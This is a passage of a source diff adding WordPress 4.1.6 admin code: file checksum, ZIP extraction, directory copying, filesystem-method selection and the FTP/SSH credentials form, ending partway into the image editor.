+ * @param string $filename The filename to check the MD5 of.
+ * @param string $expected_md5 The expected MD5 of the file, either a base64 encoded raw md5, or a hex-encoded md5
+ * @return bool|object WP_Error on failure, true on success, false when the MD5 format is unknown/unexpected
+ */
+function verify_file_md5( $filename, $expected_md5 ) {
+	if ( 32 == strlen( $expected_md5 ) )
+		$expected_raw_md5 = pack( 'H*', $expected_md5 );
+	elseif ( 24 == strlen( $expected_md5 ) )
+		$expected_raw_md5 = base64_decode( $expected_md5 );
+	else
+		return false; // unknown format
+
+	$file_md5 = md5_file( $filename, true );
+
+	if ( $file_md5 === $expected_raw_md5 )
+		return true;
+
+	return new WP_Error( 'md5_mismatch', sprintf( __( 'The checksum of the file (%1$s) does not match the expected checksum value (%2$s).' ), bin2hex( $file_md5 ), bin2hex( $expected_raw_md5 ) ) );
+}
+
+/**
+ * Unzips a specified ZIP file to a location on the Filesystem via the WordPress Filesystem Abstraction.
+ * Assumes that WP_Filesystem() has already been called and set up. Does not extract a root-level __MACOSX directory, if present.
+ *
+ * Attempts to increase the PHP Memory limit to 256M before uncompressing,
+ * However, The most memory required shouldn't be much larger than the Archive itself.
+ *
+ * @since 2.5.0
+ *
+ * @param string $file Full path and filename of zip archive
+ * @param string $to Full path on the filesystem to extract archive to
+ * @return mixed WP_Error on failure, True on success
+ */
+function unzip_file($file, $to) {
+	global $wp_filesystem;
+
+	if ( ! $wp_filesystem || !is_object($wp_filesystem) )
+		return new WP_Error('fs_unavailable', __('Could not access filesystem.'));
+
+	// Unzip can use a lot of memory, but not this much hopefully
+	/** This filter is documented in wp-admin/admin.php */
+	@ini_set( 'memory_limit', apply_filters( 'admin_memory_limit', WP_MAX_MEMORY_LIMIT ) );
+
+	$needed_dirs = array();
+	$to = trailingslashit($to);
+
+	// Determine any parent dir's needed (of the upgrade directory)
+	if ( ! $wp_filesystem->is_dir($to) ) { //Only do parents if no children exist
+		$path = preg_split('![/\\\]!', untrailingslashit($to));
+		for ( $i = count($path); $i >= 0; $i-- ) {
+			if ( empty($path[$i]) )
+				continue;
+
+			$dir = implode('/', array_slice($path, 0, $i+1) );
+			if ( preg_match('!^[a-z]:$!i', $dir) ) // Skip it if it looks like a Windows Drive letter.
+				continue;
+
+			if ( ! $wp_filesystem->is_dir($dir) )
+				$needed_dirs[] = $dir;
+			else
+				break; // A folder exists, therefor, we dont need the check the levels below this
+		}
+	}
+
+	/**
+	 * Filter whether to use ZipArchive to unzip archives.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param bool $ziparchive Whether to use ZipArchive. Default true.
+	 */
+	if ( class_exists( 'ZipArchive' ) && apply_filters( 'unzip_file_use_ziparchive', true ) ) {
+		$result = _unzip_file_ziparchive($file, $to, $needed_dirs);
+		if ( true === $result ) {
+			return $result;
+		} elseif ( is_wp_error($result) ) {
+			if ( 'incompatible_archive' != $result->get_error_code() )
+				return $result;
+		}
+	}
+	// Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file.
+	return _unzip_file_pclzip($file, $to, $needed_dirs);
+}
+
+/**
+ * This function should not be called directly, use unzip_file instead. Attempts to unzip an archive using the ZipArchive class.
+ * Assumes that WP_Filesystem() has already been called and set up.
+ *
+ * @since 3.0.0
+ * @see unzip_file
+ * @access private
+ *
+ * @param string $file Full path and filename of zip archive
+ * @param string $to Full path on the filesystem to extract archive to
+ * @param array $needed_dirs A partial list of required folders needed to be created.
+ * @return mixed WP_Error on failure, True on success
+ */
+function _unzip_file_ziparchive($file, $to, $needed_dirs = array() ) {
+	global $wp_filesystem;
+
+	$z = new ZipArchive();
+
+	$zopen = $z->open( $file, ZIPARCHIVE::CHECKCONS );
+	if ( true !== $zopen )
+		return new WP_Error( 'incompatible_archive', __( 'Incompatible Archive.' ), array( 'ziparchive_error' => $zopen ) );
+
+	$uncompressed_size = 0;
+
+	for ( $i = 0; $i < $z->numFiles; $i++ ) {
+		if ( ! $info = $z->statIndex($i) )
+			return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) );
+
+		if ( '__MACOSX/' === substr($info['name'], 0, 9) ) // Skip the OS X-created __MACOSX directory
+			continue;
+
+		$uncompressed_size += $info['size'];
+
+		if ( '/' == substr($info['name'], -1) ) // directory
+			$needed_dirs[] = $to . untrailingslashit($info['name']);
+		else
+			$needed_dirs[] = $to . untrailingslashit(dirname($info['name']));
+	}
+
+	/*
+	 * disk_free_space() could return false. Assume that any falsey value is an error.
+	 * A disk that has zero free bytes has bigger problems.
+	 * Require we have enough space to unzip the file and copy its contents, with a 10% buffer.
+	 */
+	if ( defined( 'DOING_CRON' ) && DOING_CRON ) {
+		$available_space = @disk_free_space( WP_CONTENT_DIR );
+		if ( $available_space && ( $uncompressed_size * 2.1 ) > $available_space )
+			return new WP_Error( 'disk_full_unzip_file', __( 'Could not copy files. You may have run out of disk space.' ), compact( 'uncompressed_size', 'available_space' ) );
+	}
+
+	$needed_dirs = array_unique($needed_dirs);
+	foreach ( $needed_dirs as $dir ) {
+		// Check the parent folders of the folders all exist within the creation array.
+		if ( untrailingslashit($to) == $dir ) // Skip over the working directory, We know this exists (or will exist)
+			continue;
+		if ( strpos($dir, $to) === false ) // If the directory is not within the working directory, Skip it
+			continue;
+
+		$parent_folder = dirname($dir);
+		while ( !empty($parent_folder) && untrailingslashit($to) != $parent_folder && !in_array($parent_folder, $needed_dirs) ) {
+			$needed_dirs[] = $parent_folder;
+			$parent_folder = dirname($parent_folder);
+		}
+	}
+	asort($needed_dirs);
+
+	// Create those directories if need be:
+	foreach ( $needed_dirs as $_dir ) {
+		if ( ! $wp_filesystem->mkdir($_dir, FS_CHMOD_DIR) && ! $wp_filesystem->is_dir($_dir) ) // Only check to see if the Dir exists upon creation failure. Less I/O this way.
+			return new WP_Error( 'mkdir_failed_ziparchive', __( 'Could not create directory.' ), substr( $_dir, strlen( $to ) ) );
+	}
+	unset($needed_dirs);
+
+	for ( $i = 0; $i < $z->numFiles; $i++ ) {
+		if ( ! $info = $z->statIndex($i) )
+			return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) );
+
+		if ( '/' == substr($info['name'], -1) ) // directory
+			continue;
+
+		if ( '__MACOSX/' === substr($info['name'], 0, 9) ) // Don't extract the OS X-created __MACOSX directory files
+			continue;
+
+		$contents = $z->getFromIndex($i);
+		if ( false === $contents )
+			return new WP_Error( 'extract_failed_ziparchive', __( 'Could not extract file from archive.' ), $info['name'] );
+
+		if ( ! $wp_filesystem->put_contents( $to . $info['name'], $contents, FS_CHMOD_FILE) )
+			return new WP_Error( 'copy_failed_ziparchive', __( 'Could not copy file.' ), $info['name'] );
+	}
+
+	$z->close();
+
+	return true;
+}
+
+/**
+ * This function should not be called directly, use unzip_file instead. Attempts to unzip an archive using the PclZip library.
+ * Assumes that WP_Filesystem() has already been called and set up.
+ *
+ * @since 3.0.0
+ * @see unzip_file
+ * @access private
+ *
+ * @param string $file Full path and filename of zip archive
+ * @param string $to Full path on the filesystem to extract archive to
+ * @param array $needed_dirs A partial list of required folders needed to be created.
+ * @return mixed WP_Error on failure, True on success
+ */
+function _unzip_file_pclzip($file, $to, $needed_dirs = array()) {
+	global $wp_filesystem;
+
+	mbstring_binary_safe_encoding();
+
+	require_once(ABSPATH . 'wp-admin/includes/class-pclzip.php');
+
+	$archive = new PclZip($file);
+
+	$archive_files = $archive->extract(PCLZIP_OPT_EXTRACT_AS_STRING);
+
+	reset_mbstring_encoding();
+
+	// Is the archive valid?
+	if ( !is_array($archive_files) )
+		return new WP_Error('incompatible_archive', __('Incompatible Archive.'), $archive->errorInfo(true));
+
+	if ( 0 == count($archive_files) )
+		return new WP_Error( 'empty_archive_pclzip', __( 'Empty archive.' ) );
+
+	$uncompressed_size = 0;
+
+	// Determine any children directories needed (From within the archive)
+	foreach ( $archive_files as $file ) {
+		if ( '__MACOSX/' === substr($file['filename'], 0, 9) ) // Skip the OS X-created __MACOSX directory
+			continue;
+
+		$uncompressed_size += $file['size'];
+
+		$needed_dirs[] = $to . untrailingslashit( $file['folder'] ? $file['filename'] : dirname($file['filename']) );
+	}
+
+	/*
+	 * disk_free_space() could return false. Assume that any falsey value is an error.
+	 * A disk that has zero free bytes has bigger problems.
+	 * Require we have enough space to unzip the file and copy its contents, with a 10% buffer.
+	 */
+	if ( defined( 'DOING_CRON' ) && DOING_CRON ) {
+		$available_space = @disk_free_space( WP_CONTENT_DIR );
+		if ( $available_space && ( $uncompressed_size * 2.1 ) > $available_space )
+			return new WP_Error( 'disk_full_unzip_file', __( 'Could not copy files. You may have run out of disk space.' ), compact( 'uncompressed_size', 'available_space' ) );
+	}
+
+	$needed_dirs = array_unique($needed_dirs);
+	foreach ( $needed_dirs as $dir ) {
+		// Check the parent folders of the folders all exist within the creation array.
+		if ( untrailingslashit($to) == $dir ) // Skip over the working directory, We know this exists (or will exist)
+			continue;
+		if ( strpos($dir, $to) === false ) // If the directory is not within the working directory, Skip it
+			continue;
+
+		$parent_folder = dirname($dir);
+		while ( !empty($parent_folder) && untrailingslashit($to) != $parent_folder && !in_array($parent_folder, $needed_dirs) ) {
+			$needed_dirs[] = $parent_folder;
+			$parent_folder = dirname($parent_folder);
+		}
+	}
+	asort($needed_dirs);
+
+	// Create those directories if need be:
+	foreach ( $needed_dirs as $_dir ) {
+		// Only check to see if the dir exists upon creation failure. Less I/O this way.
+		if ( ! $wp_filesystem->mkdir( $_dir, FS_CHMOD_DIR ) && ! $wp_filesystem->is_dir( $_dir ) )
+			return new WP_Error( 'mkdir_failed_pclzip', __( 'Could not create directory.' ), substr( $_dir, strlen( $to ) ) );
+	}
+	unset($needed_dirs);
+
+	// Extract the files from the zip
+	foreach ( $archive_files as $file ) {
+		if ( $file['folder'] )
+			continue;
+
+		if ( '__MACOSX/' === substr($file['filename'], 0, 9) ) // Don't extract the OS X-created __MACOSX directory files
+			continue;
+
+		if ( ! $wp_filesystem->put_contents( $to . $file['filename'], $file['content'], FS_CHMOD_FILE) )
+			return new WP_Error( 'copy_failed_pclzip', __( 'Could not copy file.' ), $file['filename'] );
+	}
+	return true;
+}
+
+/**
+ * Copies a directory from one location to another via the WordPress Filesystem Abstraction.
+ * Assumes that WP_Filesystem() has already been called and setup.
+ *
+ * @since 2.5.0
+ *
+ * @param string $from source directory
+ * @param string $to destination directory
+ * @param array $skip_list a list of files/folders to skip copying
+ * @return mixed WP_Error on failure, True on success.
+ */
+function copy_dir($from, $to, $skip_list = array() ) {
+	global $wp_filesystem;
+
+	$dirlist = $wp_filesystem->dirlist($from);
+
+	$from = trailingslashit($from);
+	$to = trailingslashit($to);
+
+	foreach ( (array) $dirlist as $filename => $fileinfo ) {
+		if ( in_array( $filename, $skip_list ) )
+			continue;
+
+		if ( 'f' == $fileinfo['type'] ) {
+			if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true, FS_CHMOD_FILE) ) {
+				// If copy failed, chmod file to 0644 and try again.
+				$wp_filesystem->chmod( $to . $filename, FS_CHMOD_FILE );
+				if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true, FS_CHMOD_FILE) )
+					return new WP_Error( 'copy_failed_copy_dir', __( 'Could not copy file.' ), $to . $filename );
+			}
+		} elseif ( 'd' == $fileinfo['type'] ) {
+			if ( !$wp_filesystem->is_dir($to . $filename) ) {
+				if ( !$wp_filesystem->mkdir($to . $filename, FS_CHMOD_DIR) )
+					return new WP_Error( 'mkdir_failed_copy_dir', __( 'Could not create directory.' ), $to . $filename );
+			}
+
+			// generate the $sub_skip_list for the subdirectory as a sub-set of the existing $skip_list
+			$sub_skip_list = array();
+			foreach ( $skip_list as $skip_item ) {
+				if ( 0 === strpos( $skip_item, $filename . '/' ) )
+					$sub_skip_list[] = preg_replace( '!^' . preg_quote( $filename, '!' ) . '/!i', '', $skip_item );
+			}
+
+			$result = copy_dir($from . $filename, $to . $filename, $sub_skip_list);
+			if ( is_wp_error($result) )
+				return $result;
+		}
+	}
+	return true;
+}
+
+/**
+ * Initialises and connects the WordPress Filesystem Abstraction classes.
+ * This function will include the chosen transport and attempt connecting.
+ *
+ * Plugins may add extra transports, And force WordPress to use them by returning
+ * the filename via the {@see 'filesystem_method_file'} filter.
+ *
+ * @since 2.5.0
+ *
+ * @param array  $args                         Optional. Connection args, These are passed directly to
+ *                                             the `WP_Filesystem_*()` classes. Default false.
+ * @param string $context                      Optional. Context for {@see get_filesystem_method()}.
+ *                                             Default false.
+ * @param bool   $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable.
+ *                                             Default false.
+ * @return null|boolean false on failure, true on success.
+ */
+function WP_Filesystem( $args = false, $context = false, $allow_relaxed_file_ownership = false ) {
+	global $wp_filesystem;
+
+	require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php');
+
+	$method = get_filesystem_method( $args, $context, $allow_relaxed_file_ownership );
+
+	if ( ! $method )
+		return false;
+
+	if ( ! class_exists("WP_Filesystem_$method") ) {
+
+		/**
+		 * Filter the path for a specific filesystem method class file.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @see get_filesystem_method()
+		 *
+		 * @param string $path   Path to the specific filesystem method class file.
+		 * @param string $method The filesystem method to use.
+		 */
+		$abstraction_file = apply_filters( 'filesystem_method_file', ABSPATH . 'wp-admin/includes/class-wp-filesystem-' . $method . '.php', $method );
+
+		if ( ! file_exists($abstraction_file) )
+			return;
+
+		require_once($abstraction_file);
+	}
+	$method = "WP_Filesystem_$method";
+
+	$wp_filesystem = new $method($args);
+
+	//Define the timeouts for the connections. Only available after the construct is called to allow for per-transport overriding of the default.
+	if ( ! defined('FS_CONNECT_TIMEOUT') )
+		define('FS_CONNECT_TIMEOUT', 30);
+	if ( ! defined('FS_TIMEOUT') )
+		define('FS_TIMEOUT', 30);
+
+	if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() )
+		return false;
+
+	if ( !$wp_filesystem->connect() )
+		return false; //There was an error connecting to the server.
+
+	// Set the permission constants if not already set.
+	if ( ! defined('FS_CHMOD_DIR') )
+		define('FS_CHMOD_DIR', ( fileperms( ABSPATH ) & 0777 | 0755 ) );
+	if ( ! defined('FS_CHMOD_FILE') )
+		define('FS_CHMOD_FILE', ( fileperms( ABSPATH . 'index.php' ) & 0777 | 0644 ) );
+
+	return true;
+}
+
+/**
+ * Determines which Filesystem Method to use.
+ *
+ * The priority of the Transports are: Direct, SSH2, FTP PHP Extension,
+ * FTP Sockets (Via Sockets class, or `fsockopen()`).
+ *
+ * Note that the return value of this function can be overridden in 2 ways
+ *
+ *  - By defining FS_METHOD in your `wp-config.php` file
+ *  - By using the filesystem_method filter
+ *
+ * Valid values for these are: 'direct', 'ssh2', 'ftpext' or 'ftpsockets'.
+ *
+ * Plugins may also define a custom transport handler, See the WP_Filesystem
+ * function for more information.
+ *
+ * @since 2.5.0
+ *
+ * @todo Properly mark arguments as optional.
+ *
+ * @param array $args Connection details.
+ * @param string $context Full path to the directory that is tested for being writable.
+ * @param bool $allow_relaxed_file_ownership Whether to allow Group/World writable.
+ * @return string The transport to use, see description for valid return values.
+ */
+function get_filesystem_method( $args = array(), $context = false, $allow_relaxed_file_ownership = false ) {
+	$method = defined('FS_METHOD') ? FS_METHOD : false; // Please ensure that this is either 'direct', 'ssh2', 'ftpext' or 'ftpsockets'
+
+	if ( ! $context ) {
+		$context = WP_CONTENT_DIR;
+	}
+
+	// If the directory doesn't exist (wp-content/languages) then use the parent directory as we'll create it.
+	if ( WP_LANG_DIR == $context && ! is_dir( $context ) ) {
+		$context = dirname( $context );
+	}
+
+	$context = trailingslashit( $context );
+
+	if ( ! $method ) {
+
+		$temp_file_name = $context . 'temp-write-test-' . time();
+		$temp_handle = @fopen($temp_file_name, 'w');
+		if ( $temp_handle ) {
+
+			// Attempt to determine the file owner of the WordPress files, and that of newly created files
+			$wp_file_owner = $temp_file_owner = false;
+			if ( function_exists('fileowner') ) {
+				$wp_file_owner = @fileowner( __FILE__ );
+				$temp_file_owner = @fileowner( $temp_file_name );
+			}
+
+			if ( $wp_file_owner !== false && $wp_file_owner === $temp_file_owner ) {
+				// WordPress is creating files as the same owner as the WordPress files, 
+				// this means it's safe to modify & create new files via PHP.
+				$method = 'direct';
+				$GLOBALS['_wp_filesystem_direct_method'] = 'file_owner';
+			} else if ( $allow_relaxed_file_ownership ) {
+				// The $context directory is writable, and $allow_relaxed_file_ownership is set, this means we can modify files
+				// safely in this directory. This mode doesn't create new files, only alter existing ones.
+				$method = 'direct';
+				$GLOBALS['_wp_filesystem_direct_method'] = 'relaxed_ownership';
+			}
+
+			@fclose($temp_handle);
+			@unlink($temp_file_name);
+		}
+ 	}
+
+	if ( ! $method && isset($args['connection_type']) && 'ssh' == $args['connection_type'] && extension_loaded('ssh2') && function_exists('stream_get_contents') ) $method = 'ssh2';
+	if ( ! $method && extension_loaded('ftp') ) $method = 'ftpext';
+	if ( ! $method && ( extension_loaded('sockets') || function_exists('fsockopen') ) ) $method = 'ftpsockets'; //Sockets: Socket extension; PHP Mode: FSockopen / fwrite / fread
+
+	/**
+	 * Filter the filesystem method to use.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $method  Filesystem method to return.
+	 * @param array  $args    An array of connection details for the method.
+	 * @param string $context Full path to the directory that is tested for being writable.
+	 * @param bool   $allow_relaxed_file_ownership Whether to allow Group/World writable.
+	 */
+	return apply_filters( 'filesystem_method', $method, $args, $context, $allow_relaxed_file_ownership );
+}
+
+/**
+ * Displays a form to the user to request for their FTP/SSH details in order
+ * to connect to the filesystem.
+ *
+ * All chosen/entered details are saved, Excluding the Password.
+ *
+ * Hostnames may be in the form of hostname:portnumber (eg: wordpress.org:2467)
+ * to specify an alternate FTP/SSH port.
+ *
+ * Plugins may override this form by returning true|false via the
+ * {@see 'request_filesystem_credentials'} filter.
+ *
+ * @since 2.5.
+ *
+ * @todo Properly mark optional arguments as such
+ *
+ * @param string $form_post the URL to post the form to
+ * @param string $type the chosen Filesystem method in use
+ * @param boolean $error if the current request has failed to connect
+ * @param string $context The directory which is needed access to, The write-test will be performed on this directory by get_filesystem_method()
+ * @param string $extra_fields Extra POST fields which should be checked for to be included in the post.
+ * @param bool $allow_relaxed_file_ownership Whether to allow Group/World writable.
+ * @return boolean False on failure. True on success.
+ */
+function request_filesystem_credentials($form_post, $type = '', $error = false, $context = false, $extra_fields = null, $allow_relaxed_file_ownership = false ) {
+
+	/**
+	 * Filter the filesystem credentials form output.
+	 *
+	 * Returning anything other than an empty string will effectively short-circuit
+	 * output of the filesystem credentials form, returning that value instead.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param mixed  $output       Form output to return instead. Default empty.
+	 * @param string $form_post    URL to POST the form to.
+	 * @param string $type         Chosen type of filesystem.
+	 * @param bool   $error        Whether the current request has failed to connect.
+	 *                             Default false.
+	 * @param string $context      Full path to the directory that is tested for
+	 *                             being writable.
+	 * @param bool $allow_relaxed_file_ownership Whether to allow Group/World writable.
+	 * @param array  $extra_fields Extra POST fields.
+	 */
+	$req_cred = apply_filters( 'request_filesystem_credentials', '', $form_post, $type, $error, $context, $extra_fields, $allow_relaxed_file_ownership );
+	if ( '' !== $req_cred )
+		return $req_cred;
+
+	if ( empty($type) ) {
+		$type = get_filesystem_method( array(), $context, $allow_relaxed_file_ownership );
+	}
+
+	if ( 'direct' == $type )
+		return true;
+
+	if ( is_null( $extra_fields ) )
+		$extra_fields = array( 'version', 'locale' );
+
+	$credentials = get_option('ftp_credentials', array( 'hostname' => '', 'username' => ''));
+
+	// If defined, set it to that, Else, If POST'd, set it to that, If not, Set it to whatever it previously was(saved details in option)
+	$credentials['hostname'] = defined('FTP_HOST') ? FTP_HOST : (!empty($_POST['hostname']) ? wp_unslash( $_POST['hostname'] ) : $credentials['hostname']);
+	$credentials['username'] = defined('FTP_USER') ? FTP_USER : (!empty($_POST['username']) ? wp_unslash( $_POST['username'] ) : $credentials['username']);
+	$credentials['password'] = defined('FTP_PASS') ? FTP_PASS : (!empty($_POST['password']) ? wp_unslash( $_POST['password'] ) : '');
+
+	// Check to see if we are setting the public/private keys for ssh
+	$credentials['public_key'] = defined('FTP_PUBKEY') ? FTP_PUBKEY : (!empty($_POST['public_key']) ? wp_unslash( $_POST['public_key'] ) : '');
+	$credentials['private_key'] = defined('FTP_PRIKEY') ? FTP_PRIKEY : (!empty($_POST['private_key']) ? wp_unslash( $_POST['private_key'] ) : '');
+
+	// Sanitize the hostname, Some people might pass in odd-data:
+	$credentials['hostname'] = preg_replace('|\w+://|', '', $credentials['hostname']); //Strip any schemes off
+
+	if ( strpos($credentials['hostname'], ':') ) {
+		list( $credentials['hostname'], $credentials['port'] ) = explode(':', $credentials['hostname'], 2);
+		if ( ! is_numeric($credentials['port']) )
+			unset($credentials['port']);
+	} else {
+		unset($credentials['port']);
+	}
+
+	if ( ( defined('FTP_SSH') && FTP_SSH ) || ( defined('FS_METHOD') && 'ssh2' == FS_METHOD ) )
+		$credentials['connection_type'] = 'ssh';
+	else if ( (defined('FTP_SSL') && FTP_SSL) && 'ftpext' == $type ) //Only the FTP Extension understands SSL
+		$credentials['connection_type'] = 'ftps';
+	else if ( !empty($_POST['connection_type']) )
+		$credentials['connection_type'] = wp_unslash( $_POST['connection_type'] );
+	else if ( !isset($credentials['connection_type']) ) //All else fails (And it's not defaulted to something else saved), Default to FTP
+		$credentials['connection_type'] = 'ftp';
+
+	if ( ! $error &&
+			(
+				( !empty($credentials['password']) && !empty($credentials['username']) && !empty($credentials['hostname']) ) ||
+				( 'ssh' == $credentials['connection_type'] && !empty($credentials['public_key']) && !empty($credentials['private_key']) )
+			) ) {
+		$stored_credentials = $credentials;
+		if ( !empty($stored_credentials['port']) ) //save port as part of hostname to simplify above code.
+			$stored_credentials['hostname'] .= ':' . $stored_credentials['port'];
+
+		unset($stored_credentials['password'], $stored_credentials['port'], $stored_credentials['private_key'], $stored_credentials['public_key']);
+		if ( ! defined( 'WP_INSTALLING' ) ) {
+			update_option( 'ftp_credentials', $stored_credentials );
+		}
+		return $credentials;
+	}
+	$hostname = isset( $credentials['hostname'] ) ? $credentials['hostname'] : '';
+	$username = isset( $credentials['username'] ) ? $credentials['username'] : '';
+	$public_key = isset( $credentials['public_key'] ) ? $credentials['public_key'] : '';
+	$private_key = isset( $credentials['private_key'] ) ? $credentials['private_key'] : '';
+	$port = isset( $credentials['port'] ) ? $credentials['port'] : '';
+	$connection_type = isset( $credentials['connection_type'] ) ? $credentials['connection_type'] : '';
+
+	if ( $error ) {
+		$error_string = __('<strong>ERROR:</strong> There was an error connecting to the server, Please verify the settings are correct.');
+		if ( is_wp_error($error) )
+			$error_string = esc_html( $error->get_error_message() );
+		echo '<div id="message" class="error"><p>' . $error_string . '</p></div>';
+	}
+
+	$types = array();
+	if ( extension_loaded('ftp') || extension_loaded('sockets') || function_exists('fsockopen') )
+		$types[ 'ftp' ] = __('FTP');
+	if ( extension_loaded('ftp') ) //Only this supports FTPS
+		$types[ 'ftps' ] = __('FTPS (SSL)');
+	if ( extension_loaded('ssh2') && function_exists('stream_get_contents') )
+		$types[ 'ssh' ] = __('SSH2');
+
+	/**
+	 * Filter the connection types to output to the filesystem credentials form.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param array  $types       Types of connections.
+	 * @param array  $credentials Credentials to connect with.
+	 * @param string $type        Chosen filesystem method.
+	 * @param object $error       Error object.
+	 * @param string $context     Full path to the directory that is tested
+	 *                            for being writable.
+	 */
+	$types = apply_filters( 'fs_ftp_connection_types', $types, $credentials, $type, $error, $context );
+
+?>
+<script type="text/javascript">
+<!--
+jQuery(function($){
+	jQuery("#ssh").click(function () {
+		jQuery("#ssh_keys").show();
+	});
+	jQuery("#ftp, #ftps").click(function () {
+		jQuery("#ssh_keys").hide();
+	});
+	jQuery('form input[value=""]:first').focus();
+});
+-->
+</script>
+<form action="<?php echo esc_url( $form_post ) ?>" method="post">
+<div>
+<h3><?php _e('Connection Information') ?></h3>
+<p><?php
+	$label_user = __('Username');
+	$label_pass = __('Password');
+	_e('To perform the requested action, WordPress needs to access your web server.');
+	echo ' ';
+	if ( ( isset( $types['ftp'] ) || isset( $types['ftps'] ) ) ) {
+		if ( isset( $types['ssh'] ) ) {
+			_e('Please enter your FTP or SSH credentials to proceed.');
+			$label_user = __('FTP/SSH Username');
+			$label_pass = __('FTP/SSH Password');
+		} else {
+			_e('Please enter your FTP credentials to proceed.');
+			$label_user = __('FTP Username');
+			$label_pass = __('FTP Password');
+		}
+		echo ' ';
+	}
+	_e('If you do not remember your credentials, you should contact your web host.');
+?></p>
+<table class="form-table">
+<tr>
+<th scope="row"><label for="hostname"><?php _e('Hostname') ?></label></th>
+<td><input name="hostname" type="text" id="hostname" value="<?php echo esc_attr($hostname); if ( !empty($port) ) echo ":$port"; ?>"<?php disabled( defined('FTP_HOST') ); ?> size="40" /></td>
+</tr>
+
+<tr>
+<th scope="row"><label for="username"><?php echo $label_user; ?></label></th>
+<td><input name="username" type="text" id="username" value="<?php echo esc_attr($username) ?>"<?php disabled( defined('FTP_USER') ); ?> size="40" /></td>
+</tr>
+
+<tr>
+<th scope="row"><label for="password"><?php echo $label_pass; ?></label></th>
+<td><div><input name="password" type="password" id="password" value="<?php if ( defined('FTP_PASS') ) echo '*****'; ?>"<?php disabled( defined('FTP_PASS') ); ?> size="40" /></div>
+<div><em><?php if ( ! defined('FTP_PASS') ) _e( 'This password will not be stored on the server.' ); ?></em></div></td>
+</tr>
+
+<?php if ( isset($types['ssh']) ) : ?>
+<tr id="ssh_keys" style="<?php if ( 'ssh' != $connection_type ) echo 'display:none' ?>">
+<th scope="row"><?php _e('Authentication Keys') ?>
+<div class="key-labels textright">
+<label for="public_key"><?php _e('Public Key:') ?></label ><br />
+<label for="private_key"><?php _e('Private Key:') ?></label>
+</div></th>
+<td><br /><input name="public_key" type="text" id="public_key" value="<?php echo esc_attr($public_key) ?>"<?php disabled( defined('FTP_PUBKEY') ); ?> size="40" />
+	<br /><input name="private_key" type="text" id="private_key" value="<?php echo esc_attr($private_key) ?>"<?php disabled( defined('FTP_PRIKEY') ); ?> size="40" />
+<div><?php _e('Enter the location on the server where the keys are located. If a passphrase is needed, enter that in the password field above.') ?></div></td>
+</tr>
+<?php endif; ?>
+
+<tr>
+<th scope="row"><?php _e('Connection Type') ?></th>
+<td>
+<fieldset><legend class="screen-reader-text"><span><?php _e('Connection Type') ?></span></legend>
+<?php
+	$disabled = disabled( (defined('FTP_SSL') && FTP_SSL) || (defined('FTP_SSH') && FTP_SSH), true, false );
+	foreach ( $types as $name => $text ) : ?>
+	<label for="<?php echo esc_attr($name) ?>">
+		<input type="radio" name="connection_type" id="<?php echo esc_attr($name) ?>" value="<?php echo esc_attr($name) ?>"<?php checked($name, $connection_type); echo $disabled; ?> />
+		<?php echo $text ?>
+	</label>
+	<?php endforeach; ?>
+</fieldset>
+</td>
+</tr>
+</table>
+
+<?php
+foreach ( (array) $extra_fields as $field ) {
+	if ( isset( $_POST[ $field ] ) )
+		echo '<input type="hidden" name="' . esc_attr( $field ) . '" value="' . esc_attr( wp_unslash( $_POST[ $field ] ) ) . '" />';
+}
+submit_button( __( 'Proceed' ), 'button', 'upgrade' );
+?>
+</div>
+</form>
+<?php
+	return false;
+}
Index: /tags/4.1.6/src/wp-admin/includes/image-edit.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/image-edit.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/image-edit.php	(revision 33402)
@@ -0,0 +1,838 @@
+<?php
+/**
+ * WordPress Image Editor
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * @param int $post_id
+ * @param bool|object $msg
+ */
+function wp_image_editor($post_id, $msg = false) {
+	$nonce = wp_create_nonce("image_editor-$post_id");
+	$meta = wp_get_attachment_metadata($post_id);
+	$thumb = image_get_intermediate_size($post_id, 'thumbnail');
+	$sub_sizes = isset($meta['sizes']) && is_array($meta['sizes']);
+	$note = '';
+
+	if ( isset( $meta['width'], $meta['height'] ) )
+		$big = max( $meta['width'], $meta['height'] );
+	else
+		die( __('Image data does not exist. Please re-upload the image.') );
+
+	$sizer = $big > 400 ? 400 / $big : 1;
+
+	$backup_sizes = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true );
+	$can_restore = false;
+	if ( ! empty( $backup_sizes ) && isset( $backup_sizes['full-orig'], $meta['file'] ) )
+		$can_restore = $backup_sizes['full-orig']['file'] != basename( $meta['file'] );
+
+	if ( $msg ) {
+		if ( isset($msg->error) )
+			$note = "<div class='error'><p>$msg->error</p></div>";
+		elseif ( isset($msg->msg) )
+			$note = "<div class='updated'><p>$msg->msg</p></div>";
+	}
+
+	?>
+	<div class="imgedit-wrap">
+	<div id="imgedit-panel-<?php echo $post_id; ?>">
+
+	<div class="imgedit-settings">
+	<div class="imgedit-group">
+	<div class="imgedit-group-top">
+		<h3><?php _e( 'Scale Image' ); ?> <a href="#" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);return false;"></a></h3>
+		<div class="imgedit-help">
+		<p><?php _e('You can proportionally scale the original image. For best results, scaling should be done before you crop, flip, or rotate. Images can only be scaled down, not up.'); ?></p>
+		</div>
+		<?php if ( isset( $meta['width'], $meta['height'] ) ): ?>
+		<p><?php printf( __('Original dimensions %s'), $meta['width'] . ' &times; ' . $meta['height'] ); ?></p>
+		<?php endif ?>
+		<div class="imgedit-submit">
